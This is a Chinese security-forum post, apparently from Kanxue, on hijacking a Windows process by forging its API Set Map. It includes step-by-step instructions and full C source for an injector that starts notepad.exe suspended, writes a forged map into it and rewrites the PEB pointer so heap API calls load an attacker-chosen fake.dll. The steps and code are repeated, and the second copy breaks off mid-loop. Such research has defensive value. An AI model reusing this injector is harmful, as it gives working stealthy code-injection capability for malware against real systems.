本文将深入探讨一种利用Windows内部机制——API Set Map——来实现对目标进程API调用的重定向与劫持的技术。与传统的DLL注入或IAT Hook不同,此方法通过修改进程PEB中指向API Set Map的指针,并替换映射表内容,使得加载器在解析某些API Set(如api-ms-win-core-heap-l1-1.dll)时,将其重定向到我们指定的恶意/自定义DLL。
在深入探讨技术细节之前,我们首先需要理解API Sets是什么。 Windows为了更好地进行模块化和代码重构,引入了API Sets机制。简单来说,很多我们熟知的系统DLL(如kernel32.dll, advapi32.dll)中的API,实际上并不直接在这些DLL中实现。相反,它们会通过API Sets这种“虚拟DLL”(名字通常以api-ms-win-开头,如api-ms-win-core-heap-l1-1.0.dll)进行一层抽象和重定向。 每个进程的PEB(Process Environment Block)中,都有一个指针(通常是PEB->ApiSetMap,在PoC中通过peb->Reserved9[0]访问,这是一个未公开但相对稳定的结构成员)指向当前进程的API Set Map数据。这个Map就像一张“寻路图”,告诉加载器:当遇到一个api-ms-win-开头的虚拟DLL导入时,应该去哪个真实的物理DLL(如ntdll.dll, kernelbase.dll)中寻找对应的API实现。 这个Map数据最初来源于系统文件%SystemRoot%\System32\ApiSetSchema.dll,它本身不包含可执行代码,而是一个包含映射规则的数据库。
我们的目标是:当目标进程(例如notepad.exe)尝试调用api-ms-win-core-heap-l1-1.dll中的函数(如HeapAlloc, HeapFree等)时,让它实际上去加载并执行我们自定义的fake.dll中的同名函数。 实现这一点的关键在于: 控制目标进程的ApiSetMap指针: 我们需要在目标进程的PEB中,将ApiSetMap指针指向我们精心构造的一个伪造的Map数据。 伪造ApiSetMap数据: 在这个伪造的Map数据中,我们将api-ms-win-core-heap-l1-1这个条目指向的真实DLL修改为fake.dll。
fake.dll是我们想要注入逻辑的地方。它需要导出与api-ms-win-core-heap-l1-1.dll中原始API同名同签名的函数。例如:当notepad.exe启动后,由于ApiSetMap被修改,当它(或其加载的任何模块)尝试从api-ms-win-core-heap-l1-1.dll导入HeapAlloc时,加载器会错误地认为HeapAlloc位于fake.dll中,从而加载fake.dll并调用fake.dll中的MyHeapAlloc。
API Set作为Windows内部的一个重要组件,为系统提供了灵活性和模块化。然而,任何可以被修改的内部数据结构都可能成为攻击者的目标。通过篡改进程PEB中的ApiSetMap,我们展示了一种相对底层且可能更隐蔽的API重定向和代码执行技术。
main
fakedll
代码步骤详解:
创建挂起进程: 使用CreateProcessA以CREATE_SUSPENDED标志创建notepad.exe。这确保了在notepad执行任何实质性代码前,我们有机会修改其内存。
获取PEB地址: 通过NtQueryInformationProcess获取目标进程的PROCESS_BASIC_INFORMATION,其中包含PEB的基地址。
获取模板和堆: 获取当前进程(注入器)的PEB,并从中找到ApiSetMap的指针(peb->Reserved9[0])和进程堆的句柄(peb->Reserved4[1],即PEB->ProcessHeap)。我们将使用当前进程的ApiSetMap作为蓝本,并从当前进程堆中分配内存来构建伪造的Map。(注意:更严谨的做法可能是读取目标进程的原始ApiSetMap并修改,但为简化,使用了当前进程的Map作为模板,这在大多数情况下是可行的,因为Map结构是标准化的。)
构造伪造Map:
计算新Map所需的大小(原始大小 + "fake.dll"字符串长度 + 一些额外填充)。
使用RtlAllocateHeap(或HeapAlloc)分配内存。
memcpy原始Map数据到新分配的内存中。
将字符串"fake.dll"附加到伪造Map数据的末尾。
核心修改: 遍历伪造Map中的条目。找到键为"api-ms-win-core-heap-l1-1"的API_SET_VALUE_ARRAY。然后修改其对应的API_SET_VALUE_ENTRY,将其ValueOffset(指向目标DLL名称字符串的偏移)和ValueLength(目标DLL名称字符串长度)更新为指向我们刚刚附加的"fake.dll"字符串。
远程内存分配: 使用VirtualAllocEx在目标进程(notepad.exe)的地址空间中分配一块内存,大小足以容纳我们伪造的ApiSetMap。
写入伪造Map: 使用WriteProcessMemory将我们构造好的伪造ApiSetMap数据写入到目标进程刚刚分配的远程内存中。
修改PEB指针: 这是最关键的一步。计算出目标进程PEB中ApiSetMap指针的实际地址,然后使用WriteProcessMemory将该地址处的值(即指针本身)修改为指向我们在步骤5中分配并写入的远程伪造Map的基地址。
恢复进程: 调用ResumeThread让notepad.exe继续执行。
代码步骤详解:
创建挂起进程: 使用CreateProcessA以CREATE_SUSPENDED标志创建notepad.exe。这确保了在notepad执行任何实质性代码前,我们有机会修改其内存。
获取PEB地址: 通过NtQueryInformationProcess获取目标进程的PROCESS_BASIC_INFORMATION,其中包含PEB的基地址。
获取模板和堆: 获取当前进程(注入器)的PEB,并从中找到ApiSetMap的指针(peb->Reserved9[0])和进程堆的句柄(peb->Reserved4[1],即PEB->ProcessHeap)。我们将使用当前进程的ApiSetMap作为蓝本,并从当前进程堆中分配内存来构建伪造的Map。(注意:更严谨的做法可能是读取目标进程的原始ApiSetMap并修改,但为简化,使用了当前进程的Map作为模板,这在大多数情况下是可行的,因为Map结构是标准化的。)
构造伪造Map:
计算新Map所需的大小(原始大小 + "fake.dll"字符串长度 + 一些额外填充)。
使用RtlAllocateHeap(或HeapAlloc)分配内存。
memcpy原始Map数据到新分配的内存中。
将字符串"fake.dll"附加到伪造Map数据的末尾。
核心修改: 遍历伪造Map中的条目。找到键为"api-ms-win-core-heap-l1-1"的API_SET_VALUE_ARRAY。然后修改其对应的API_SET_VALUE_ENTRY,将其ValueOffset(指向目标DLL名称字符串的偏移)和ValueLength(目标DLL名称字符串长度)更新为指向我们刚刚附加的"fake.dll"字符串。
远程内存分配: 使用VirtualAllocEx在目标进程(notepad.exe)的地址空间中分配一块内存,大小足以容纳我们伪造的ApiSetMap。
写入伪造Map: 使用WriteProcessMemory将我们构造好的伪造ApiSetMap数据写入到目标进程刚刚分配的远程内存中。
修改PEB指针: 这是最关键的一步。计算出目标进程PEB中ApiSetMap指针的实际地址,然后使用WriteProcessMemory将该地址处的值(即指针本身)修改为指向我们在步骤5中分配并写入的远程伪造Map的基地址。
恢复进程: 调用ResumeThread让notepad.exe继续执行。
// 声明外部C链接的NT API函数 RtlCompareUnicodeString
// 该函数用于比较两个UNICODE_STRING结构
EXTERN_C LONG
NTAPI
RtlCompareUnicodeString(
_In_ PCUNICODE_STRING String1, // 指向第一个UNICODE_STRING的指针
_In_ PCUNICODE_STRING String2, // 指向第二个UNICODE_STRING的指针
_In_ BOOLEAN CaseInSensitive // 是否不区分大小写比较 (TRUE 为不区分)
);
// 定义 API_SET_VALUE_ENTRY 结构
// 这个结构描述了一个 API Set Schema 中的一个具体DLL(宿主DLL)的条目
typedef struct _API_SET_VALUE_ENTRY
{
ULONG Flags; // 标志位
ULONG NameOffset; // 指向宿主DLL名称的偏移量 (相对于ApiSetMap的基地址)
ULONG NameLength; // 宿主DLL名称的长度 (字节数)
ULONG ValueOffset; // 指向实际解析到的DLL名称的偏移量 (相对于ApiSetMap的基地址)
ULONG ValueLength; // 实际解析到的DLL名称的长度 (字节数)
} API_SET_VALUE_ENTRY, * PAPI_SET_VALUE_ENTRY;
// 定义 API_SET_VALUE_ARRAY 结构
// 这个结构描述了一个 API Set Schema (例如 "api-ms-win-core-heap-l1-1")
// 它包含一个或多个宿主DLL (API_SET_VALUE_ENTRY)
typedef struct _API_SET_VALUE_ARRAY
{
ULONG Flags; // 标志位
ULONG NameOffset; // 指向API Set Schema名称的偏移量 (例如 "api-ms-win-core-heap-l1-1")
ULONG Unk; // 未知字段
ULONG NameLength; // API Set Schema名称的长度 (字节数)
ULONG DataOffset; // 指向此API Set Schema对应的 API_SET_VALUE_ENTRY 数组的偏移量
ULONG Count; // API_SET_VALUE_ENTRY 数组中的条目数量
} API_SET_VALUE_ARRAY, * PAPI_SET_VALUE_ARRAY;
// 定义 API_SET_NAMESPACE_ENTRY 结构 (在较新Windows版本中,此结构可能与API_SET_VALUE_ARRAY合并或不同)
// 这似乎是旧版ApiSetMap中的一个条目,描述了名称空间条目的一些属性
typedef struct _API_SET_NAMESPACE_ENTRY
{
ULONG Limit; // 限制
ULONG Size; // 大小
} API_SET_NAMESPACE_ENTRY, * PAPI_SET_NAMESPACE_ENTRY;
// 定义 API_SET_NAMESPACE_ARRAY 结构
// 这是整个 ApiSetMap 的头部结构
typedef struct _API_SET_NAMESPACE_ARRAY
{
ULONG Version; // ApiSetMap 的版本
ULONG Size; // 整个 ApiSetMap 数据块的大小 (不包括附加的字符串数据)
ULONG Flags; // 标志位
ULONG Count; // API_SET_VALUE_ARRAY (或旧版API_SET_NAMESPACE_ENTRY) 条目的数量
ULONG Start; // 指向第一个 API_SET_VALUE_ARRAY 条目的偏移量 (相对于ApiSetMap的基地址)
ULONG End; // (可能未使用或有其他含义)
ULONG Unk[2]; // 未知字段
} API_SET_NAMESPACE_ARRAY, * PAPI_SET_NAMESPACE_ARRAY;
// 声明外部C链接的NT API函数 RtlAllocateHeap
// 该函数用于从指定的堆中分配内存
EXTERN_C NTSYSAPI PVOID RtlAllocateHeap(
PVOID HeapHandle, // 堆句柄
ULONG Flags, // 分配标志 (例如 HEAP_ZERO_MEMORY)
SIZE_T Size // 要分配的字节数
);
int main()
{
// 初始化一个 UNICODE_STRING 结构,用于存储目标 API Set Schema 名称 "api-ms-win-core-heap-l1-1"
UNICODE_STRING heapString = { 0 };
RtlInitUnicodeString(&heapString, L"api-ms-win-core-heap-l1-1"); // L"api-ms-win-core-heap-l1-1" 是我们要替换的目标
// 初始化 STARTUPINFOA 结构,用于 CreateProcessA
STARTUPINFOA startInfo = { 0 };
startInfo.cb = sizeof(STARTUPINFOA); // 设置结构大小
// 初始化 PROCESS_INFORMATION 结构,用于接收 CreateProcessA 创建的进程和线程信息
PROCESS_INFORMATION pinfo = { 0 };
// 创建一个新的进程 (notepad.exe),但以挂起状态创建 (CREATE_SUSPENDED)
// 这样我们就有机会在它开始执行之前修改它的内存
CreateProcessA("C:\\Windows\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startInfo, &pinfo);
// printf("create error = %x\r\n",GetLastError()); // 调试用,打印创建进程的错误码
// 初始化 PROCESS_BASIC_INFORMATION 结构,用于存储通过 NtQueryInformationProcess 获取的进程基本信息
PROCESS_BASIC_INFORMATION baseInfo = { 0 };
ULONG len = 0; // 用于接收 NtQueryInformationProcess 返回的数据长度
// 查询新创建的挂起进程的基本信息,主要是为了获取其 PEB (Process Environment Block) 的地址
NtQueryInformationProcess(pinfo.hProcess, ProcessBasicInformation, &baseInfo, sizeof(baseInfo), &len);
// 获取当前进程的 PEB 地址
// NtCurrentTeb() 获取当前线程的 TEB (Thread Environment Block)
// TEB->ProcessEnvironmentBlock 指向当前进程的 PEB
PEB* peb = NtCurrentTeb()->ProcessEnvironmentBlock;
// 计算我们要替换的DLL名称 "fake.dll" 的字节长度 (Unicode字符,每个字符2字节)
int dllStrLen = wcslen(L"fake.dll") * 2;
// 从当前进程的 PEB 中获取 ApiSetMap 的指针
// 在 PEB 结构中,Reserved9[0] (或在较新Windows SDK中直接是 ApiSetMap 字段) 指向 ApiSetMap
PAPI_SET_NAMESPACE_ARRAY pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY)peb->Reserved9[0]; // ApiSetMap
// 从当前进程的 PEB 中获取进程堆的句柄
// Reserved4[1] (或 ProcessHeap 字段) 指向进程的主堆
PVOID ProcessHeap = peb->Reserved4[1]; // ProcessHeap
// 在当前进程的堆上分配一块内存,用于创建一个"伪造"的 ApiSetMap
// 大小为原始 ApiSetMap 的大小,加上 "fake.dll" 字符串的长度,再加上一些额外的空间 (0x1000) 以防万一
PAPI_SET_NAMESPACE_ARRAY pFakeApiSetMap = (PAPI_SET_NAMESPACE_ARRAY)RtlAllocateHeap(ProcessHeap, HEAP_ZERO_MEMORY, pApiSetMap->Size + dllStrLen + 0x1000);
// 将原始 ApiSetMap 的内容完整复制到我们新分配的 pFakeApiSetMap 内存区域
memcpy((char*)pFakeApiSetMap, (char*)pApiSetMap, pApiSetMap->Size);
// 让 pApiSetMap 指针指向我们伪造的 ApiSetMap,后续操作将在这个副本上进行
pApiSetMap = pFakeApiSetMap;
// 计算在 pFakeApiSetMap 数据之后存储 "fake.dll" 字符串的地址
// (ULONG_PTR)pApiSetMap + pApiSetMap->Size 指向 pFakeApiSetMap 结构体数据区的末尾
PWCHAR fakeName;
fakeName = (PWCHAR)((ULONG_PTR)pApiSetMap + pApiSetMap->Size);
// 将 "fake.dll" 字符串复制到计算好的地址 fakeName 处
memcpy(fakeName, L"fake.dll", dllStrLen);
// 获取指向 ApiSetMap 中第一个 API Set Schema 条目 (API_SET_VALUE_ARRAY) 的指针
// pApiSetMap->Start 是第一个条目的偏移量
PAPI_SET_VALUE_ARRAY Entry = (PAPI_SET_VALUE_ARRAY)((PUCHAR)pApiSetMap + pApiSetMap->Start);
// 初始化两个 UNICODE_STRING 结构,用于在遍历时临时存储名称
UNICODE_STRING nameString = { 0 }; // 用于 API Set Schema 名称
UNICODE_STRING ValueString = { 0 }; // 用于宿主 DLL 名称
// 遍历 ApiSetMap 中的所有 API Set Schema 条目
for (int i = 0; i < pApiSetMap->Count; i++)
{
// 设置 nameString 以引用当前 API Set Schema 的名称
nameString.MaximumLength = Entry->NameLength;
nameString.Length = Entry->NameLength;
nameString.Buffer = (PWCHAR)(Entry->NameOffset + (ULONG_PTR)pApiSetMap); // 名称字符串在ApiSetMap内的实际地址
// 打印当前 API Set Schema 的名称,格式如 "api-ms-win-core-heap-l1-1.dll -> { "
printf("%wZ.dll -> { ", &nameString);
// 获取指向当前 API Set Schema 的宿主DLL条目数组 (API_SET_VALUE_ENTRY) 的指针
PAPI_SET_VALUE_ENTRY valueEntry = (PAPI_SET_VALUE_ENTRY)(Entry->DataOffset + (ULONG_PTR)pApiSetMap);
// 遍历当前 API Set Schema 的所有宿主DLL条目
for (int j = 0; j < Entry->Count; j++)
{
// 检查当前 API Set Schema 名称是否是我们想要修改的目标 "api-ms-win-core-heap-l1-1"
// RtlCompareUnicodeString 进行不区分大小写的比较
if (RtlCompareUnicodeString(&nameString, &heapString, TRUE) == 0)
{
// 如果匹配,修改此宿主DLL条目,使其指向我们添加的 "fake.dll"
// valueEntry->ValueOffset 更新为 "fake.dll" 字符串相对于 pApiSetMap 基地址的偏移
valueEntry->ValueOffset = (ULONG_PTR)fakeName - (ULONG_PTR)pApiSetMap;
// valueEntry->ValueLength 更新为 "fake.dll" 的长度
valueEntry->ValueLength = dllStrLen;
}
// 设置 ValueString 以引用当前宿主DLL条目指向的实际DLL名称
ValueString.MaximumLength = valueEntry->ValueLength;
ValueString.Length = valueEntry->ValueLength;
ValueString.Buffer = (PWCHAR)(valueEntry->ValueOffset + (ULONG_PTR)pApiSetMap);
// 打印实际解析到的DLL名称
printf("%wZ", &ValueString);
// 如果不是最后一个宿主DLL条目,则打印逗号分隔符
if ((j + 1) != Entry->Count) printf(",");
// 如果宿主DLL条目本身也有一个名称 (通常用于别名或重定向)
if (valueEntry->NameLength != 0)
{
// 设置 nameString (这里复用了) 以引用宿主DLL条目的名称
nameString.MaximumLength = valueEntry->NameLength;
nameString.Length = valueEntry->NameLength;
nameString.Buffer = (PWCHAR)(valueEntry->NameOffset + (ULONG_PTR)pApiSetMap);
// 打印宿主DLL条目的名称,用方括号括起来
printf("[%wZ]", &nameString);
}
// 移动到下一个宿主DLL条目
valueEntry++;
}
// 打印 API Set Schema 条目的结束括号和换行
printf(" }\r\n");
// 移动到下一个 API Set Schema 条目
Entry++;
}
// 在目标进程 (notepad.exe) 的地址空间中分配内存
// 大小与我们伪造的 pApiSetMap (包含 "fake.dll") 相同
// MEM_COMMIT: 为指定的内存区域分配物理存储器
// PAGE_READWRITE: 分配的内存区域可读可写
PVOID base = VirtualAllocEx(pinfo.hProcess, NULL, pApiSetMap->Size + dllStrLen + 0x1000, MEM_COMMIT, PAGE_READWRITE);
SIZE_T wlen = 0; // 用于接收 WriteProcessMemory 实际写入的字节数
// 将我们修改后的 pApiSetMap (包含 "fake.dll" 和更新的条目) 写入到目标进程中分配的内存区域 (base)
bool is = WriteProcessMemory(pinfo.hProcess, base, pApiSetMap, pApiSetMap->Size + dllStrLen + 0x1000, &wlen);
// 准备修改目标进程PEB中的ApiSetMap指针
PPEB pc = NULL; // 用一个空指针来获取 PEB 结构体成员的偏移量
ULONG64 pebAPi = 0, pebAPi2 = 0; // 用于存储读取到的目标进程PEB中的ApiSetMap指针值(修改前和修改后)
// 读取目标进程 PEB 中原始的 ApiSetMap 指针值
// (ULONG64)baseInfo.PebBaseAddress: 目标进程PEB的基地址
// (ULONG_PTR)&pc->Reserved9: Reserved9 成员相对于PEB结构体起始地址的偏移量
// (这是一种技巧,因为 pc 是 NULL,&pc->Reserved9 实际上就是 Reserved9 成员的偏移)
ReadProcessMemory(pinfo.hProcess, (PVOID)((ULONG64)baseInfo.PebBaseAddress + (ULONG_PTR)&pc->Reserved9), &pebAPi, sizeof(PVOID), &wlen); // 假设是指针大小,通常是8字节(64位)或4字节(32位)
// 将目标进程 PEB 中的 ApiSetMap 指针修改为我们新分配并写入的伪造ApiSetMap的地址 (base)
is = WriteProcessMemory(pinfo.hProcess, (PVOID)((ULONG64)baseInfo.PebBaseAddress + (ULONG_PTR)&pc->Reserved9), &base, sizeof(PVOID), &wlen);
// 再次读取目标进程 PEB 中的 ApiSetMap 指针值,以验证修改是否成功
ReadProcessMemory(pinfo.hProcess, (PVOID)((ULONG64)baseInfo.PebBaseAddress + (ULONG_PTR)&pc->Reserved9), &pebAPi2, sizeof(PVOID), &wlen);
// printf("%llx,%llx\r\n", pebAPi, pebAPi2); // 调试用,打印修改前后的指针值
// int error = GetLastError(); // 调试用,获取最后一个错误码
// 恢复目标进程的主线程,使其开始执行
// 此时,目标进程的加载器在解析 "api-ms-win-core-heap-l1-1.dll" 时,会根据被修改的ApiSetMap,
// 最终解析到 "fake.dll" (如果 "fake.dll" 存在且可被加载)
ResumeThread(pinfo.hThread);
// printApiSetMap(); // 假设这是一个打印当前进程ApiSetMap的函数,这里被注释掉了
system("pause"); // 暂停程序,以便观察结果或进行调试
return 0; // main函数返回
}
// 声明外部C链接的NT API函数 RtlCompareUnicodeString
// 该函数用于比较两个UNICODE_STRING结构
EXTERN_C LONG
NTAPI
RtlCompareUnicodeString(
_In_ PCUNICODE_STRING String1, // 指向第一个UNICODE_STRING的指针
_In_ PCUNICODE_STRING String2, // 指向第二个UNICODE_STRING的指针
_In_ BOOLEAN CaseInSensitive // 是否不区分大小写比较 (TRUE 为不区分)
);
// 定义 API_SET_VALUE_ENTRY 结构
// 这个结构描述了一个 API Set Schema 中的一个具体DLL(宿主DLL)的条目
typedef struct _API_SET_VALUE_ENTRY
{
ULONG Flags; // 标志位
ULONG NameOffset; // 指向宿主DLL名称的偏移量 (相对于ApiSetMap的基地址)
ULONG NameLength; // 宿主DLL名称的长度 (字节数)
ULONG ValueOffset; // 指向实际解析到的DLL名称的偏移量 (相对于ApiSetMap的基地址)
ULONG ValueLength; // 实际解析到的DLL名称的长度 (字节数)
} API_SET_VALUE_ENTRY, * PAPI_SET_VALUE_ENTRY;
// 定义 API_SET_VALUE_ARRAY 结构
// 这个结构描述了一个 API Set Schema (例如 "api-ms-win-core-heap-l1-1")
// 它包含一个或多个宿主DLL (API_SET_VALUE_ENTRY)
typedef struct _API_SET_VALUE_ARRAY
{
ULONG Flags; // 标志位
ULONG NameOffset; // 指向API Set Schema名称的偏移量 (例如 "api-ms-win-core-heap-l1-1")
ULONG Unk; // 未知字段
ULONG NameLength; // API Set Schema名称的长度 (字节数)
ULONG DataOffset; // 指向此API Set Schema对应的 API_SET_VALUE_ENTRY 数组的偏移量
ULONG Count; // API_SET_VALUE_ENTRY 数组中的条目数量
} API_SET_VALUE_ARRAY, * PAPI_SET_VALUE_ARRAY;
// 定义 API_SET_NAMESPACE_ENTRY 结构 (在较新Windows版本中,此结构可能与API_SET_VALUE_ARRAY合并或不同)
// 这似乎是旧版ApiSetMap中的一个条目,描述了名称空间条目的一些属性
typedef struct _API_SET_NAMESPACE_ENTRY
{
ULONG Limit; // 限制
ULONG Size; // 大小
} API_SET_NAMESPACE_ENTRY, * PAPI_SET_NAMESPACE_ENTRY;
// 定义 API_SET_NAMESPACE_ARRAY 结构
// 这是整个 ApiSetMap 的头部结构
typedef struct _API_SET_NAMESPACE_ARRAY
{
ULONG Version; // ApiSetMap 的版本
ULONG Size; // 整个 ApiSetMap 数据块的大小 (不包括附加的字符串数据)
ULONG Flags; // 标志位
ULONG Count; // API_SET_VALUE_ARRAY (或旧版API_SET_NAMESPACE_ENTRY) 条目的数量
ULONG Start; // 指向第一个 API_SET_VALUE_ARRAY 条目的偏移量 (相对于ApiSetMap的基地址)
ULONG End; // (可能未使用或有其他含义)
ULONG Unk[2]; // 未知字段
} API_SET_NAMESPACE_ARRAY, * PAPI_SET_NAMESPACE_ARRAY;
// 声明外部C链接的NT API函数 RtlAllocateHeap
// 该函数用于从指定的堆中分配内存
EXTERN_C NTSYSAPI PVOID RtlAllocateHeap(
PVOID HeapHandle, // 堆句柄
ULONG Flags, // 分配标志 (例如 HEAP_ZERO_MEMORY)
SIZE_T Size // 要分配的字节数
);
int main()
{
// 初始化一个 UNICODE_STRING 结构,用于存储目标 API Set Schema 名称 "api-ms-win-core-heap-l1-1"
UNICODE_STRING heapString = { 0 };
RtlInitUnicodeString(&heapString, L"api-ms-win-core-heap-l1-1"); // L"api-ms-win-core-heap-l1-1" 是我们要替换的目标
// 初始化 STARTUPINFOA 结构,用于 CreateProcessA
STARTUPINFOA startInfo = { 0 };
startInfo.cb = sizeof(STARTUPINFOA); // 设置结构大小
// 初始化 PROCESS_INFORMATION 结构,用于接收 CreateProcessA 创建的进程和线程信息
PROCESS_INFORMATION pinfo = { 0 };
// 创建一个新的进程 (notepad.exe),但以挂起状态创建 (CREATE_SUSPENDED)
// 这样我们就有机会在它开始执行之前修改它的内存
CreateProcessA("C:\\Windows\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startInfo, &pinfo);
// printf("create error = %x\r\n",GetLastError()); // 调试用,打印创建进程的错误码
// 初始化 PROCESS_BASIC_INFORMATION 结构,用于存储通过 NtQueryInformationProcess 获取的进程基本信息
PROCESS_BASIC_INFORMATION baseInfo = { 0 };
ULONG len = 0; // 用于接收 NtQueryInformationProcess 返回的数据长度
// 查询新创建的挂起进程的基本信息,主要是为了获取其 PEB (Process Environment Block) 的地址
NtQueryInformationProcess(pinfo.hProcess, ProcessBasicInformation, &baseInfo, sizeof(baseInfo), &len);
// 获取当前进程的 PEB 地址
// NtCurrentTeb() 获取当前线程的 TEB (Thread Environment Block)
// TEB->ProcessEnvironmentBlock 指向当前进程的 PEB
PEB* peb = NtCurrentTeb()->ProcessEnvironmentBlock;
// 计算我们要替换的DLL名称 "fake.dll" 的字节长度 (Unicode字符,每个字符2字节)
int dllStrLen = wcslen(L"fake.dll") * 2;
// 从当前进程的 PEB 中获取 ApiSetMap 的指针
// 在 PEB 结构中,Reserved9[0] (或在较新Windows SDK中直接是 ApiSetMap 字段) 指向 ApiSetMap
PAPI_SET_NAMESPACE_ARRAY pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY)peb->Reserved9[0]; // ApiSetMap
// 从当前进程的 PEB 中获取进程堆的句柄
// Reserved4[1] (或 ProcessHeap 字段) 指向进程的主堆
PVOID ProcessHeap = peb->Reserved4[1]; // ProcessHeap
// 在当前进程的堆上分配一块内存,用于创建一个"伪造"的 ApiSetMap
// 大小为原始 ApiSetMap 的大小,加上 "fake.dll" 字符串的长度,再加上一些额外的空间 (0x1000) 以防万一
PAPI_SET_NAMESPACE_ARRAY pFakeApiSetMap = (PAPI_SET_NAMESPACE_ARRAY)RtlAllocateHeap(ProcessHeap, HEAP_ZERO_MEMORY, pApiSetMap->Size + dllStrLen + 0x1000);
// 将原始 ApiSetMap 的内容完整复制到我们新分配的 pFakeApiSetMap 内存区域
memcpy((char*)pFakeApiSetMap, (char*)pApiSetMap, pApiSetMap->Size);
// 让 pApiSetMap 指针指向我们伪造的 ApiSetMap,后续操作将在这个副本上进行
pApiSetMap = pFakeApiSetMap;
// 计算在 pFakeApiSetMap 数据之后存储 "fake.dll" 字符串的地址
// (ULONG_PTR)pApiSetMap + pApiSetMap->Size 指向 pFakeApiSetMap 结构体数据区的末尾
PWCHAR fakeName;
fakeName = (PWCHAR)((ULONG_PTR)pApiSetMap + pApiSetMap->Size);
// 将 "fake.dll" 字符串复制到计算好的地址 fakeName 处
memcpy(fakeName, L"fake.dll", dllStrLen);
// 获取指向 ApiSetMap 中第一个 API Set Schema 条目 (API_SET_VALUE_ARRAY) 的指针
// pApiSetMap->Start 是第一个条目的偏移量
PAPI_SET_VALUE_ARRAY Entry = (PAPI_SET_VALUE_ARRAY)((PUCHAR)pApiSetMap + pApiSetMap->Start);
// 初始化两个 UNICODE_STRING 结构,用于在遍历时临时存储名称
UNICODE_STRING nameString = { 0 }; // 用于 API Set Schema 名称
UNICODE_STRING ValueString = { 0 }; // 用于宿主 DLL 名称
// 遍历 ApiSetMap 中的所有 API Set Schema 条目
for (int i = 0; i < pApiSetMap->Count; i++)
{
// 设置 nameString 以引用当前 API Set Schema 的名称
nameString.MaximumLength = Entry->NameLength;
nameString.Length = Entry->NameLength;
nameString.Buffer = (PWCHAR)(Entry->NameOffset + (ULONG_PTR)pApiSetMap); // 名称字符串在ApiSetMap内的实际地址
// 打印当前 API Set Schema 的名称,格式如 "api-ms-win-core-heap-l1-1.dll -> { "
printf("%wZ.dll -> { ", &nameString);
// 获取指向当前 API Set Schema 的宿主DLL条目数组 (API_SET_VALUE_ENTRY) 的指针
PAPI_SET_VALUE_ENTRY valueEntry = (PAPI_SET_VALUE_ENTRY)(Entry->DataOffset + (ULONG_PTR)pApiSetMap);
// 遍历当前 API Set Schema 的所有宿主DLL条目
for (int j = 0; j < Entry->Count; j++)
{
// 检查当前 API Set Schema 名称是否是我们想要修改的目标 "api-ms-win-core-heap-l1-1"
// RtlCompareUnicodeString 进行不区分大小写的比较
if (RtlCompareUnicodeString(&nameString, &heapString, TRUE) == 0)
{
// 如果匹配,修改此宿主DLL条目,使其指向我们添加的 "fake.dll"
// valueEntry->ValueOffset 更新为 "fake.dll" 字符串相对于 pApiSetMap 基地址的偏移
valueEntry->ValueOffset = (ULONG_PTR)fakeName - (ULONG_PTR)pApiSetMap;
// valueEntry->ValueLength 更新为 "fake.dll" 的长度
valueEntry->ValueLength = dllStrLen;
}
// 设置 ValueString 以引用当前宿主DLL条目指向的实际DLL名称
ValueString.MaximumLength = valueEntry->ValueLength;
ValueString.Length = valueEntry->ValueLength;
ValueString.Buffer = (PWCHAR)(valueEntry->ValueOffset + (ULONG_PTR)pApiSetMap);
// 打印实际解析到的DLL名称
printf("%wZ", &ValueString);
// 如果不是最后一个宿主DLL条目,则打印逗号分隔符
if ((j + 1) != Entry->Count) printf(",");
// 如果宿主DLL条目本身也有一个名称 (通常用于别名或重定向)
传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2025-5-17 12:55
被S极客编辑
,原因: 增加例子